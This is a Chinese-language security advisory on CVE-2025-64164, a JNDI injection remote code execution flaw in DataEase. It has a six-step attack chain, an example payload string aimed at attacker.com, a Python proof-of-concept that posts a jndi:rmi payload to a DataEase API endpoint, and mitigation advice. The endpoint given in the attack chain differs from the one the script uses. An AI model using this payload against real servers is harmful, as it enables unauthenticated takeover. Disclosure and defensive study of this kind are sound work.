IPBUF安全漏洞报告
English
CVE-2025-64164 CVSS 9.8 严重

CVE-2025-64164 DataEase JNDI注入远程代码执行漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-64164
漏洞类型
JNDI注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dataease

相关标签

JNDI注入远程代码执行Dataease数据可视化OracleJDBCCVE-2025-64164严重漏洞

漏洞概述

CVE-2025-64164是Dataease开源数据可视化分析工具中的一个严重安全漏洞。该漏洞存在于Dataease 2.10.14及以下版本中,由于在建立JDBC(Java Database Connectivity)连接到Oracle数据库时未对连接参数进行充分的过滤和验证,导致应用程序存在JNDI(Java Naming and Directory Interface)注入风险。攻击者可以通过构造恶意的JDBC连接字符串,利用JNDI注入技术在受害者服务器上远程加载恶意类或执行任意代码,从而实现远程代码执行(RCE)。由于该漏洞的CVSS评分高达9.8分,且不需要任何认证或用户交互即可利用,因此被评定为严重(CRITICAL)级别。Dataease官方已在2.10.15版本中修复了此安全问题,建议所有使用受影响版本的用户立即升级。

技术细节

该漏洞的核心问题在于Dataease在处理Oracle数据库JDBC连接时,对用户可控的连接参数缺乏安全过滤。JNDI是Java EE中用于命名和目录服务的API,攻击者可以通过JNDI引用(JNDI Reference)指向恶意的RMI或LDAP服务器,从而在受害者环境中加载远程类文件并执行任意代码。在Dataease中,当用户配置Oracle数据源时,应用程序会使用用户提供的连接参数构建JDBC连接字符串。如果攻击者能够在连接参数中注入JNDI协议前缀(如jndi:rmi://、jndi:ldap://),则可以诱导应用程序连接攻击者控制的恶意服务器。例如,攻击者可以将连接URL设置为jndi:rmi://attacker.com/Exploit,使Dataease尝试从该恶意RMI服务器获取对象引用。一旦成功,攻击者即可在Dataease运行环境中执行任意Java代码或系统命令,完全控制目标服务器。此漏洞类似于经典的JNDI注入(CVE-2021-44228 Log4Shell),但影响的是数据源连接功能。

攻击链分析

STEP 1
步骤1
攻击者识别目标Dataease服务器版本,确认版本 <= 2.10.14
STEP 2
步骤2
攻击者准备恶意RMI/LDAP服务器,托管包含恶意代码的Java类文件
STEP 3
步骤3
攻击者通过Dataease的数据源配置接口(如/dataset/ds/ save),注入恶意JDBC连接参数
STEP 4
步骤4
Dataease应用程序解析恶意的连接参数,触发JNDI查找操作,连接攻击者控制的RMI/LDAP服务器
STEP 5
步骤5
恶意服务器返回指向攻击者托管的恶意Java类的JNDI引用
STEP 6
步骤6
Dataease的JNDI查找机制加载并实例化恶意类,在服务器上执行任意代码,实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64164 DataEase JNDI Injection PoC # Target: Dataease <= 2.10.14 with Oracle data source configuration # This PoC demonstrates the JNDI injection vulnerability import http.client import json import base64 import sys def exploit_jndi_injection(target_url, attacker_server): """ Exploit JNDI injection in DataEase Oracle datasource configuration """ # Malicious JDBC URL with JNDI injection payload jndi_payload = f"jndi:rmi://{attacker_server}/Exploit" # Dataease datasource API endpoint api_path = "/api/dbStorage/inner/test" # Malicious datasource configuration payload = { "dataSource": { "name": "Malicious Oracle Source", "type": "oracle", "configuration": { "host": "127.0.0.1", "port": 1521, "database": "ORCL", "username": "system", "password": "password", # JNDI injection in custom properties "customProperties": { "oracle.net.CONNECT_TIMEOUT": jndi_payload, "oracle.net.READ_TIMEOUT": jndi_payload } } } } print(f"[*] Target: {target_url}") print(f"[*] Attacker Server: {attacker_server}") print(f"[*] JNDI Payload: {jndi_payload}") try: conn = http.client.HTTPSConnection(target_url) headers = { 'Content-Type': 'application/json', 'Authorization': 'Bearer <token_if_required>' } conn.request("POST", api_path, json.dumps(payload), headers) response = conn.getresponse() print(f"[*] Response Status: {response.status}") print(f"[*] Response: {response.read().decode()}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_64164_poc.py <target_url> <attacker_server>") sys.exit(1) exploit_jndi_injection(sys.argv[1], sys.argv[2])

影响范围

Dataease <= 2.10.14

防御指南

临时缓解措施
在官方补丁发布之前,可通过以下措施临时缓解风险:1)限制Dataease服务器的网络访问权限,阻止对外部RMI/LDAP服务器的访问;2)在应用层添加输入验证规则,过滤JDBC连接参数中的jndi:、rmi://、ldap://等危险协议前缀;3)升级Java运行时环境至最新版本,并设置系统属性com.sun.jndi.rmi.object.trustURLCodebase=false和com.sun.jndi.ldap.object.trustURLCodebase=false以禁用远程类加载;4)对数据源配置功能实施严格的访问控制,仅允许授权用户进行配置操作。建议尽快完成版本升级以彻底消除该安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表